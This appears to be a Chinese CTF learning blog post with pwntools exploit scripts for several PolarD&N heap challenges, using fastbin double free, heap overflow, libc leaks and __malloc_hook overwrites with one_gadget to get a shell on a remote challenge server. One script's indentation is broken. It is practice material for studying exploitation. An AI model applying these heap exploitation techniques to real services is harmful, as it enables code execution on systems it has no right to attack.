记录堆的做题1

做题网站:PolarD&N

来堆签个到

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2100)
#p=process('./d7')
elf=ELF('./d7')
libc=ELF('./libc.so.6')
def xu(a):
    p.recvuntil(b'choice:')
    p.sendline(str(a))
    p.recvuntil(b'index:')
def add(a,b):
    xu(1)
    p.sendline(str(a))
    p.recvuntil(b'size')
    p.sendline(str(b))

def de(a):
    xu(2)
    p.sendline(str(a))
        
def edi(a,b,c):
    xu(3)
    p.sendline(str(a))    
    p.recvuntil(b'length:')
    p.sendline(str(b))  
    p.recvuntil(b'content:')  
    p.sendline(c)    

def show(a):
    xu(4)
    p.sendline(str(a))

add(0,0x410)
add(1,0x10)
de(0)
#pause()
add(0,0x410)
show(0)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(lib))
#info("libc base" + hex(lib))
ba=0x3c4b78
lib=lib-ba
one_gadget=[0x4527a,0xf03a4,0xf1247]
add(0,0x68)
add(1,0x68)
de(0)
de(1)
de(0)
add(0,0x68)
pay=p64(libc.sym['__malloc_hook']-0x23+lib)
print(hex(libc.sym['__malloc_hook']-0x23))
l1=len(pay)#gdb.attach(p)

edi(0,0x68,pay)

add(0,0x68)

add(0,0x68)

add(0,0x68)

pa=b'\x00'*0x13+p64(one_gadget[0]+lib)

l2=len(pa)

edi(0,0x68,pa)

add(0,0x100)

p.interactive()

这个__malloc_hook算是个技巧了吧,得减去0x23,这样刚刚好有一个0x7f使得能够申请到堆块

heap_double_free

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2073)

def add(a,b,c):
    p.recvuntil(b'buntu:~/Desktop$')
    p.sendline(b'1')
    p.recvuntil(b'please input id and size :\n')
    p.sendline(str(a))
    p.sendline(str(b))
    p.recvuntil(b'please input contet:\n')
    p.sendline(c)
def de(a):
    p.recvuntil(b'buntu:~/Desktop$')
    p.sendline(b'2')
    p.recvuntil(b'id :\n')
    p.sendline(str(a))

add(0,0x68,b'a'*10)
add(1,0x68,b'a'*10)
#add(2,0x16,'cccc')
de(0)
de(1)
de(0)
glo=0x6010A0
add(3,0x68,p64(glo))
add(4,0x68,p64(0x101))
add(5,0x68,p64(0x101))
add(6,0x68,p64(0x101))
p.recvuntil(b'buntu:~/Desktop$')
p.sendline(b'4')
p.interactive()

double后申请到globals,然后改目标值

这个地方emmm,

image

是被设置好了有个71,刚好可以允许申请到内存,而像上面那个申请到mallochook那边就得-0x23取那个7f

不过好像这样申请到内存,是不能通过gdb内heap查看的,得使用x/gx

bll_ezheap1

粗略看了一下,大概和上面那个一样,堆利用来改key为特定值

漏洞是堆溢出,思路是伪造chunk

但我想想,能不能直接申请mallochook

这个是从libc中取,那还得找到libc偏移,没有show应该是不行,而且思路应该是走他给的后门的

pie可以用他给的key的地址

pay=b'a'*0x60+p64(0)+p64(0x71)+p64(0x402020)

image

我嘞个豆,确实

总结一下,这道题新学到了可以进行找合适的区域取内存

image

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2069)
#p=process('./d8')
elf=ELF('./d8')
libc=ELF('./libc.so.6')
def xu(a):
    p.recvuntil(b'choice:')
    p.sendline(str(a))
    p.recvuntil(b'index:')
def add(a,b):
    xu(1)
    p.sendline(str(a))
    p.recvuntil(b'size')
    p.sendline(str(b))
def edi(a,b,c):
    xu(2)
    p.sendline(str(a))    
    p.recvuntil(b'length:')
    p.sendline(str(b))  
    p.recvuntil(b'content:')  
    p.sendline(c)    
def de(a):
    xu(3)
    p.sendline(str(a))
p.recvuntil(b'choice:')
p.sendline(b'5')
p.recvuntil(b'key:')
k=eval(p.recvuntil('\n',drop=True))
print(hex(k))
pie=k-0x2020ac
add(0,0x68)
add(1,104)
de(1)
#gdb.attach(p)
pay1=b'a'*0x60+p64(0)+p64(0x71)+p64(k-0x40+0x11)
edi(0,len(pay1),pay1)
add(1,104)
add(3,0x68)
pay2=b'a'*(0x40-0x21)+p64(0xABCDEF)
edi(3,len(pay2),pay2)
#pause()
p.recvuntil(b'choice:')
p.sendline(b'5')
p.interactive()

学会找合适区域内存,然后填充

bllhl_double_free

很显而易见的提示我们double free

同样要求我们修改某个地方为特定值

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2108)
#p=process('./d9')
elf=ELF('./d9')
libc=ELF('./libc.so.6')
def xu(a):
    p.recvuntil(b'choice:')
    p.sendline(str(a))
    p.recvuntil(b'index:')
def add(a,b):
    xu(1)
    p.sendline(str(a))
    p.recvuntil(b'size')
    p.sendline(str(b))
def edi(a,b,c):
    xu(3)
    p.sendline(str(a))    
    p.recvuntil(b'length:')
    p.sendline(str(b))  
    p.recvuntil(b'content:')  
    p.sendline(c)    
def de(a):
    xu(2)
    p.sendline(str(a))
bss=0x6020d0
add(0,0x68)
add(1,0x68)
add(2,0x80)
#gdb.attach(p)
de(0)
de(1)
de(0)
add(3,0x68)
edi(0,0x68,p64(bss-0x16+0x2))
add(4,0x68)
add(5,0x68)
add(6,0x68)
edi(6,0x68,b'a'*0x4+p64(520))
p.sendline(b'5')
#pause()
p.interactive()

非常简单的double free

我感觉堆溢出也能做,试试看

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p=remote('1.95.36.136',2108)
p=process('./d9')
elf=ELF('./d9')
libc=ELF('./libc.so.6')
def xu(a):
    p.recvuntil(b'choice:')
    p.sendline(str(a))
    p.recvuntil(b'index:')
def add(a,b):
    xu(1)
    p.sendline(str(a))
    p.recvuntil(b'size')
    p.sendline(str(b))
def edi(a,b,c):
    xu(3)
    p.sendline(str(a))    
    p.recvuntil(b'length:')
    p.sendline(str(b))  
    p.recvuntil(b'content:')  
    p.sendline(c)    
def de(a):
    xu(2)
    p.sendline(str(a))
bss=0x6020d0
add(0,0x68)
add(1,0x68)
add(2,0x68)
gdb.attach(p)
de(1)
pay1=b'a'*(0x68)+p64(0x71)+p64(bss-0x16+0x2)
edi(0,len(pay1),pay1)
add(3,0x68)
add(4,0x68)
edi(4,0x68,b'a'*0x4+p64(520))
p.sendline(b'5')
pause()
p.interactive()

没有问题,确实能通

wowuaf

这题就是最上面那个来堆签个到

backdoor_heap

设置magic :0x6020a0处值>0x1305

好像是能堆溢出的,没看到检查

那么思路就是堆溢出修改fd,申请目标地址内存,修改参数,getshell

好评是基本都是Ubuntu16,ld和libc直接继续用

思路正确

exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2101)
#p=process('./a2')
elf=ELF('./a2')
libc=ELF('./libc.so.6')
def xu(a):
    p.recvuntil(b'Your choice :')
    p.sendline(str(a))
def add(a,b):
    xu(1)
    p.recvuntil(b'Size of Heap :')
    p.sendline(str(a))
    p.recvuntil(b'Content of heap:')
    p.sendline(b)
def edi(a,b,c):
    xu(2)
    p.recvuntil(b'Index :')
    p.sendline(str(a))
    p.recvuntil(b'Size of Heap :')
    p.sendline(str(b))
    p.recvuntil(b'Content of heap :')
    p.sendline(c)
def de(a):
    xu(3)
    p.recvuntil(b'Index :')
    p.sendline(str(a))

add(0x68,b'aaaa')
add(0x68,b'bbbb')
add(0x80,b'cccc')
de(1)
pay1=b'a'*0x68+p64(0x71)+p64(0x6020a0-0x16+0x3)
edi(0,len(pay1),pay1)
add(0x68,b'dddd')
#gdb.attach(p)
add(0x68,b'gggg')
edi(3,0x68,b'a'*0x4+p64(0x1306))
p.sendline(b'4869')
#pause()
p.interactive()

fastbin2

越来越难看的函数了

可能是堆溢出,没看到检查机制

然后libc泄露,打__malloc_hook得getshell

但是还开了pie,得找pie基址,那就得泄露某个地方的地址

emmmm,但其实pie并没什么作用,因为用libc打的,并没牵扯到什么地址

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('1.95.36.136',2097)
#p=process('./a3')
elf=ELF('./a3')
libc=ELF('./libc.so.6')
def xu(a):
    p.recvuntil(b'Enter:')
    p.sendline(str(a))
def add(a):
    xu(1)
    p.recvuntil(b'size:')
    p.sendline(str(a))
def edi(a,b,c):
    xu(3)
    p.recvuntil(b'index:')
    p.sendline(str(a))
    p.recvuntil(b'size')
    p.sendline(str(b))
    p.recvuntil(b'edit:')
    p.sendline(c)
def de(a):
    xu(2)
    p.recvuntil(b'index:')
    p.sendline(str(a))        
def show(a):

xu(4)
p.recvuntil(b'index:')
p.sendline(str(a))

add(0x410)#0
add(0x10)#1
de(0)
#pause()
add(0x410)#0
show(0)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(lib))
ba=0x3c4b78
lib=lib-ba
one_gadget=[0x4527a,0xf03a4,0xf1247]
add(0x68)#2
add(0x68)#3
#gdb.attach(p)
de(3)
pay1=b'a'*0x68+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23+lib)
edi(2,len(pay1),pay1)
add(0x68)#3
add(0x68)#malloc_hook,4
pa=b'\x00'*0x13+p64(one_gadget[2]+lib)
print(one_gadget[2]+lib)
edi(4,len(pa),pa)
add(0x10)
#pause()
p.interactive()
posted @ 2025-07-26 20:24  cauit  阅读(15)  评论(0)    收藏  举报